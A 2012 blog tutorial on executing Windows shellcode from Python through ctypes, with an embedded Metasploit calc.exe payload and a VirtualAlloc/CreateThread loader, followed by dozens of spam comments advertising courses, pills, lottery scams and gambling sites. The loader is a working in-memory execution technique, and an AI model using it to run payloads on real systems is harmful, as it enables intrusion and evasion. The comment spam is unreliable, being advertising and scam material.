Monday, April 30, 2012

Execute ShellCode Using Python

After writing shell code generally we use a C code like this to test our shell code.
char code[] = "shell code";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

In this article I am going to show you, how can we use python and its "ctypes" library to execute a "calc.exe" shell code or any other shell code.ctypes is a foreign function library for Python. It provides C compatible data types, and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python.

I will be using six Win32 APIs to execute the shell code. These Win32 apis are very important in dynamic memory management on windows platform. Here ctype will help us to directly interact with these required APIs.

The concept is like :

1)  First VirtualAlloc() will allow us to create a new executable memory region and copy our shellcode to it, and after that execute it.
2)  VirtualLock() locks the specified region of the process's virtual address space into physical memory, ensuring that subsequent access to the region will not incur a page fault.
It accepts a pointer to the base address of the region of pages to be locked and the size of the region to be locked, in bytes.
A simple example of this function can be found here in MSDN:

http://msdn.microsoft.com/en-us/library/windows/desktop/aa366549(v=vs.85).aspx

3)  RtlMoveMemory() function accepts 3 arguments , a pointer to the destination (returned form virtualAlloc()), Pointer to the memory to be copied and the number of bytes to be copied.

4)  CreateThread() accepts 6 arguments
In our case the third argument is very important.We need to pass a pointer to the application-defined function to be executed by the thread returned by VirtualAlloc().If the function succeeds, the return value is a handle to the new thread.

5)  WaitForSingleObject() function accepts 2 arguments 1st one is the handle to the object (Returned by CreateThread()) and the time-out interval, in milliseconds. If a nonzero value is specified, the function waits until the object is signaled or the interval elapses.


API Description (Source : MSDN)

VirtualAlloc function:
It reserves or commits a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero, unless MEM_RESET isspecified.

Syntax:
LPVOID WINAPI VirtualAlloc(
  __in_opt  LPVOID lpAddress,
  __in      SIZE_T dwSize,
  __in      DWORD flAllocationType,
  __in      DWORD flProtect
);

VirtualLock function:
It locks the specified region of the process's virtual address space into physical memory, ensuring that subsequent access to the region will not incur a page fault.

Syntax:
BOOL WINAPI VirtualLock(
  __in  LPVOID lpAddress,
  __in  SIZE_T dwSize
);

RtlMoveMemory routine:
The RtlMoveMemory routine moves memory either forward or backward, aligned or unaligned, in 4-byte blocks, followed by any remaining bytes.

Syntax:
VOID RtlMoveMemory(
  __in  VOID UNALIGNED *Destination,
  __in  const VOID UNALIGNED *Source,
  __in  SIZE_T Length
);

CreateThread function:
Creates a thread to execute within the virtual address space of the calling process.

Syntax:
HANDLE WINAPI CreateThread(
  __in_opt   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in       SIZE_T dwStackSize,
  __in       LPTHREAD_START_ROUTINE lpStartAddress,
  __in_opt   LPVOID lpParameter,
  __in       DWORD dwCreationFlags,
  __out_opt  LPDWORD lpThreadId
);

WaitForSingleObject function:
Waits until the specified object is in the signaled state or the time-out interval elapses.

Syntax:
DWORD WINAPI WaitForSingleObject(
  __in  HANDLE hHandle,
  __in  DWORD dwMilliseconds
);

The python code goes here.

#!/usr/bin/python
import ctypes
#ShellCode
#x86/shikata_ga_nai succeeded with size 227 (iteration=1)
#Metasploit windows/exec calc.exe
shellcode = bytearray(
"\xdb\xc3\xd9\x74\x24\xf4\xbe\xe8\x5a\x27\x13\x5f\x31\xc9" 
"\xb1\x33\x31\x77\x17\x83\xc7\x04\x03\x9f\x49\xc5\xe6\xa3" 
"\x86\x80\x09\x5b\x57\xf3\x80\xbe\x66\x21\xf6\xcb\xdb\xf5" 
"\x7c\x99\xd7\x7e\xd0\x09\x63\xf2\xfd\x3e\xc4\xb9\xdb\x71" 
"\xd5\x0f\xe4\xdd\x15\x11\x98\x1f\x4a\xf1\xa1\xd0\x9f\xf0" 
"\xe6\x0c\x6f\xa0\xbf\x5b\xc2\x55\xcb\x19\xdf\x54\x1b\x16" 
"\x5f\x2f\x1e\xe8\x14\x85\x21\x38\x84\x92\x6a\xa0\xae\xfd" 
"\x4a\xd1\x63\x1e\xb6\x98\x08\xd5\x4c\x1b\xd9\x27\xac\x2a" 
"\x25\xeb\x93\x83\xa8\xf5\xd4\x23\x53\x80\x2e\x50\xee\x93" 
"\xf4\x2b\x34\x11\xe9\x8b\xbf\x81\xc9\x2a\x13\x57\x99\x20" 
"\xd8\x13\xc5\x24\xdf\xf0\x7d\x50\x54\xf7\x51\xd1\x2e\xdc" 
"\x75\xba\xf5\x7d\x2f\x66\x5b\x81\x2f\xce\x04\x27\x3b\xfc" 
"\x51\x51\x66\x6a\xa7\xd3\x1c\xd3\xa7\xeb\x1e\x73\xc0\xda" 
"\x95\x1c\x97\xe2\x7f\x59\x67\xa9\x22\xcb\xe0\x74\xb7\x4e" 
"\x6d\x87\x6d\x8c\x88\x04\x84\x6c\x6f\x14\xed\x69\x2b\x92" 
"\x1d\x03\x24\x77\x22\xb0\x45\x52\x41\x57\xd6\x3e\xa8\xf2" 
"\x5e\xa4\xb4")
 
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
 
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
 
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

142 comments:

  1. I really appreciate this post. I’ve been looking all over for this! Thank goodness I found it on Bing. You’ve made my day! Thx again!
    python Training institute in Bangalore
    python Training in Pune

    ReplyDelete
  2. I am sure this post has helped me save many hours of browsing other related posts just to find what I was looking for. Many thanks!
    Python Online training
    Python Course institute in Bangalore

    ReplyDelete
  3. Such an ideal piece of blog. It’s quite interesting to read content like this. I appreciate your blog
    Data Science Certification

    ReplyDelete
  4. Its as if you had a great grasp on the subject matter, but you forgot to include your readers. Perhaps you should think about this from more than one angle.
    python training in bangalore

    ReplyDelete
  5. Thank you for excellent article.You made an article that is interesting.
    Tavera car for rent in coimbatore|Indica car for rent in coimbatore|innova car for rent in coimbatore|mini bus for rent in coimbatore|tempo traveller for rent in coimbatore|kodaikanal tour package from chennai

    Keep on the good work and write more article like this...

    Great work !!!!Congratulations for this blog

    ReplyDelete
  6. Nice blog post on Python. Python is used in data science as well.Please refer to my blog here.

    python training in hyderabad

    ReplyDelete
  7. Thank you for providing the valuable information …
    If you want to connect with AI (Artificial Intelligence) World
    as like

    Python


    RPA (Robotic Process Automation)


    UiPath Training


    Blue Prism


    Data -Science


    ML(Machine Learning)
    related more information then meet on EmergenTeck Training Institute .

    Thank you.!
    Reply

    ReplyDelete
  8. This blog is very informative. It has very good information about python course training in banglore
    which will help user to be clear about the course and future oppurtunity.
    python training in banglore

    ReplyDelete
  9. This is quite educational arrange. It has famous breeding about what I rarity to vouch. Colossal proverb. This trumpet is a famous tone to nab to troths. Congratulations on a career well achieved. This arrange is synchronous s informative impolites festivity to pity. I appreciated what you ok extremely here 
    Apache Spark with Scala certification training
    AWS certification training

    ReplyDelete
  10. Nice Blog.
    For Data Science training in Bangalore, Visit:
    Data Science training in Bangalore

    ReplyDelete
  11. A universal message I suppose, not giving up is the formula for success I think. Some things take longer than others to accomplish, so people must understand that they should have their eyes on the goal, and that should keep them motivated to see it out til the end.
    Salesforce online training
    Hadoop online training

    ReplyDelete
  12. Great Article… I love to read your articles because your writing style is too good, its is very very helpful for all of us and I never get bored while reading your article because, they are becomes a more and more interesting from the starting lines until the end.
    Apache Spark with Scala online training
    AWS online training

    ReplyDelete
  13. Nice Blog
    Visit for Data Science training in Bangalore :
    Data Science training in Bangalore

    ReplyDelete
  14. This is a nice article here with some useful tips for those who are not used-to comment that frequently. Thanks for this helpful information I agree with all points you have given to us. I will follow all of them.
    AWS online training
    Advanced Java online training

    ReplyDelete
  15. Soma pill is very effective as a painkiller that helps us to get effective relief from pain. This cannot cure pain. Yet when it is taken with proper rest, it can offer you effective relief from pain.
    This painkiller can offer you relief from any kind of pain. But Soma 350 mg is best in treating acute pain. Acute pain is a type of short-term pain which is sharp in nature. Buy Soma 350 mg online to get relief from your acute pain.

    https://globalonlinepills.com/product/soma-350-mg/


    Buy Soma 350 mg
    Soma Pill
    Buy Soma 350 mg online



    Buy Soma 350 mg online
    Soma Pill
    Buy Soma 350 mg

    ReplyDelete
  16. I think this is one of the most significant information for me. And i’m glad reading your article. But should remark on some general things, The web site style is perfect, the articles is really great : D. Good job, cheers.
    tree trimmers greenacres

    ReplyDelete
  17. Hi, This is nice article you shared great information i have read it thanks for giving such a wonderful Blog for reader.
    bathroom remodel long beach ca

    ReplyDelete
  18. You have a good point here!I totally agree with what you have said!!Thanks for sharing your views...hope more people will read this article!!!
    tree service palm beach gardens

    ReplyDelete
  19. I think this is one of the most significant information for me. And i’m glad reading your article. But should remark on some general things, The web site style is perfect, the articles is really great : D. Good job, cheers Website

    ReplyDelete
  20. Superbly written article, if only all bloggers offered the same content as you, the internet would be a far better place. patio screen repair fort lauderdale

    ReplyDelete
  21. In DevOps Training course online you will be introduced to the DevOps pipeline demo in various industry domains like media, finance, medical projects and more. You will get hands-on experience in Docker containerization by deploying Jenkins, working with integration tests in DevOps, Project Reports and finance app configuration.

    ReplyDelete
  22. It has been great for me to read such great information about python Training.python training in bangalore

    ReplyDelete
  23. Thank you for excellent article.You made an article that is interesting.
    Best AWS certification training courses. Build your AWS cloud skills with expert instructor- led classes. Live projects, Hands-on training,24/7 support.
    https://onlineidealab.com/aws-training-in-bangalore/

    ReplyDelete
  24. Thank you for sharing this information.your information very helpful for my business. I have gained more information about your sites. I am also doing business related this.
    Thank you.
    Data Science Training in Hyderabad

    Hadoop Training in Hyderabad

    Java Training in Hyderabad

    Python online Training in Hyderabad

    ReplyDelete
  25. Thanks for Sharing This Article.It is very so much valuable content. I hope these Commenting lists will help to my website
    top angular js online training

    ReplyDelete
  26. I just loved your article on the beginners guide to starting a blog.If somebody take this blog article seriously in their life, he/she can earn his living by doing blogging.thank you for thizs article. best devops online training

    ReplyDelete
  27. thanks for this post.this is really nice post.
    we provide advance Python courses in Bangalore.
    https://onlineidealab.com/learn-python/

    ReplyDelete
  28. Thanks for one marvelous posting! I enjoyed reading it; you are a great author. I will make sure to bookmark your blog and may come back someday. I want to encourage that you continue your great posts.

    sap hybris training in bangalore

    sap scm training in bangalore

    sap pm training in bangalore

    sap crm training in bangalore

    sap ewm training in bangalore

    ReplyDelete
  29. Thanks for Sharing This Article.It is very so much valuable content. I hope these Commenting lists will help to my website
    top angular js online training

    ReplyDelete
  30. BSc in Optometry – Here is the details about Best BSc Optometry Colleges In Bangalore. If you are looking to study in Bangalore, the below link will redirect to a page that will show the best OPT colleges in Bangalore
    Optometry Colleges In Bangalore

    ReplyDelete
  31. We as a team of real-time industrial experience with a lot of knowledge in developing applications in python programming (7+ years) will ensure that we will deliver our best in python training in vijayawada. , and we believe that no one matches us in this context.

    ReplyDelete
  32. Really you have done great job,There are may person searching about that topic. now they will easly find your post
    SQL Azure Online Training
    Azure SQL Training
    SQL Azure Training

    ReplyDelete
  33. There are lots of information about latest technology and how to get trained in them, like devops training have spread around the web, but this is a unique one according to me.

    ReplyDelete
  34. This comment has been removed by the author.

    ReplyDelete
  35. We as a team of real-time industrial experience with a lot of knowledge in developing applications in python programming (7+ years) will ensure that we will deliver our best in python training in vijayawada. , and we believe that no one matches us in this context.

    ReplyDelete
  36. Snapdeal Winner List 2020 here came up with an Offer where you can win Snapdeal prize list by just playing a game & win prizes.
    Snapdeal winner name also check the Snapdeal lucky draw

    ReplyDelete
  37. I havent any word to appreciate this post.....Really i am impressed from this post....the person who create this post it was a great human..thanks for shared this with us. python course in pune

    ReplyDelete
  38. Thanks for submit this post. Here I would like to share about the best college for Optometry. Here is the details of best BSc Optometry colleges in Bangalore. If you are looking to study BSc Optometry in Bangalore, click the below link.
    Optometry Colleges In Bangalore

    ReplyDelete
  39. BSc Cardio Vascular Technology is one of the best demanding courses in recent times. Here you can check the all details of this course and the best college to study in Bangalore for this course. Just click the below mentioned link.
    BSc Cardiac Care Technology Colleges In Bangalore

    ReplyDelete
  40. GrueBleen – One of the best branding and marketing agency in Riyadh- Saudi Arabia. If you need the details, click the below link
    Branding Agency Riyadh
    Marketing Agency Riyadh

    ReplyDelete
  41. snapdeal here thought of an Offer where you can win exceptional snapdeal prize by simply playing a game and win prizes Call @7596886123"
    Snapdeal winner 2020
    Snapdeal lucky draw tatasafari 2020
    Snapdeal lucky winner list 2020
    Snapdeal lucky draw 2020

    ReplyDelete
  42. We as a team of real-time industrial experience with a lot of knowledge in developing applications in python programming (7+ years) will ensure that we will deliver our best in python training in vijayawada. , and we believe that no one matches us in this context.

    ReplyDelete
  43. Attend The Machine Learning course Bangalore From ExcelR. Practical Machine Learning course Bangalore Sessions With Assured Placement Support From Experienced Faculty. ExcelR Offers The Machine Learning course Bangalore.
    ExcelR Machine Learning course Bangalore

    ReplyDelete

  44. This is a wonderful article, Given so much info in it, These type of articles keeps the users interest in the website, and keep on sharing more ... good luck... Thank you!!! machine learning courses in Bangalore

    ReplyDelete
  45. This is a wonderful article, Given so much info in ExcelR Machine Learning Courses In Pune it, These type of articles keeps the users interest in the website, and keep on sharing more ... good luck.

    ReplyDelete
  46. Very informative post.If anyone wants to learn python they can chek this institute for Python Training in Bangalore

    ReplyDelete

  47. Whatever we gathered information from the blogs, we should implement that in practically then only we can understand that exact thing clearly, but it’s no need to do it, because you have explained the concepts very well. It was crystal clear.i also want to inform you the best salesforce cpq tutorial . thankyou . keep sharing..

    ReplyDelete
  48. Shopclues lucky draw 2020| Shopclues winner 2020|Get to Know Shopclues Lucky Draw Winner 2020. Call Shopclues Helpline Phone Number+91-9835565523 for Shopclues Online Shopping Lucky Draw.
    Shopclues online lucky draw winner
    Shopclues winner 2020
    shopclues car lucky draw

    ReplyDelete
  49. I feel satisfied to read your blog, you have been delivering a useful & unique information to our vision.keep blogging.
    Digital Marketing Course In Kolkata

    ReplyDelete
  50. Whatever we gathered information from the blogs, we should implement that in practically then only we can understand that exact thing clearly aws training videos , but it’s no need to do it, because you have explained the concepts very well. It was crystal clear, keep sharing..aws videos

    ReplyDelete
  51. Great efforts put to publish these kinds of articles that are very useful to know. I’m thoroughly enjoying your blog. And Good comments create great relations. You’re doing an excellent job. Keep it up.

    Magento Development Training Course in Chennai Zuan Education

    Selenium Training Course in Chennai Zuan Education

    ReplyDelete
  52. Poker online situs terbaik yang kini dapat dimainkan seperti Bandar Poker yang menyediakan beberapa situs lainnya seperti http://62.171.128.49/hondaqq/ , kemudian http://62.171.128.49/gesitqq/, http://62.171.128.49/gelangqq/, dan http://62.171.128.49/seniqq. yang paling akhir yaitu http://62.171.128.49/pokerwalet/. Jangan lupa mendaftar di panenqq silakan dicoba ya boss

    ReplyDelete
  53. This post is really nice and informative. The explanation given is really comprehensive and useful..... sap bi course

    ReplyDelete


  54. Pretty article! I found some useful information in your blog, it was awesome to read, thanks for sharing this great content to my vision. i also want to share some infor mation regarding sap online training and sap sd training videos . keep sharing.

    ReplyDelete
  55. Snapdeal winner 2020 | Dear customer, you can complain here If you get to call and SMS regarding Snapdeal lucky draw, Mahindra xuv 500, lucky draw contest, contact us at to know the actual Snapdeal prize winners 2020.
    Snapdeal winner 2020
    Snapdeal lucky draw winner 2020
    Snapdeal lucky draw contest 2020
    snapdeal winner prizes 2020

    ReplyDelete



  56. Wow. That is so elegant and logical and clearly explained. Brilliantly goes through what could be a complex process and makes it obvious.I want to refer about the best tableau training

    ReplyDelete
  57. Awesome article, it was exceptionally helpful! I simply began in this and I'm becoming more acquainted with it better. The post is written in very a good manner and it contains many useful information for me. Thank you very much and will look for more postings from you.


    digital marketing blog
    digital marketing bloggers
    digital marketing blogs
    digital marketing blogs in india
    digital marketing blog 2020
    digital marketing blog sites
    skartec's digital marketing blog
    skartec's blog
    digital marketing course
    digital marketing course in chennai
    digital marketing training
    skartec digital marketing academy

    ReplyDelete

  58. Hello, I have gone through your post Its really awesome.Thats a great article. I am also want to share about python training and python videos .thank you

    ReplyDelete
  59. Thank you for sharing the blog information
    Snapdeal online lucky draw Winner List 2020 here came up with an Offer where you can win Snapdeal lottery 2020 and more prize by just playing a game & win prizes
    Snapdeal winner 2020
    Snapdeal lucky draw winner 2020
    Snapdeal lucky draw contest 2020
    snapdeal winner prizes 2020

    ReplyDelete
  60. This is a nice article you shared great information I have read it thanks for giving such a wonderful Blog for the reader.
    GCP Online Training
    Google Cloud Platform Training In Hyderabad
    Google Cloud Platform Training
    Google Cloud Platform Training Online

    ReplyDelete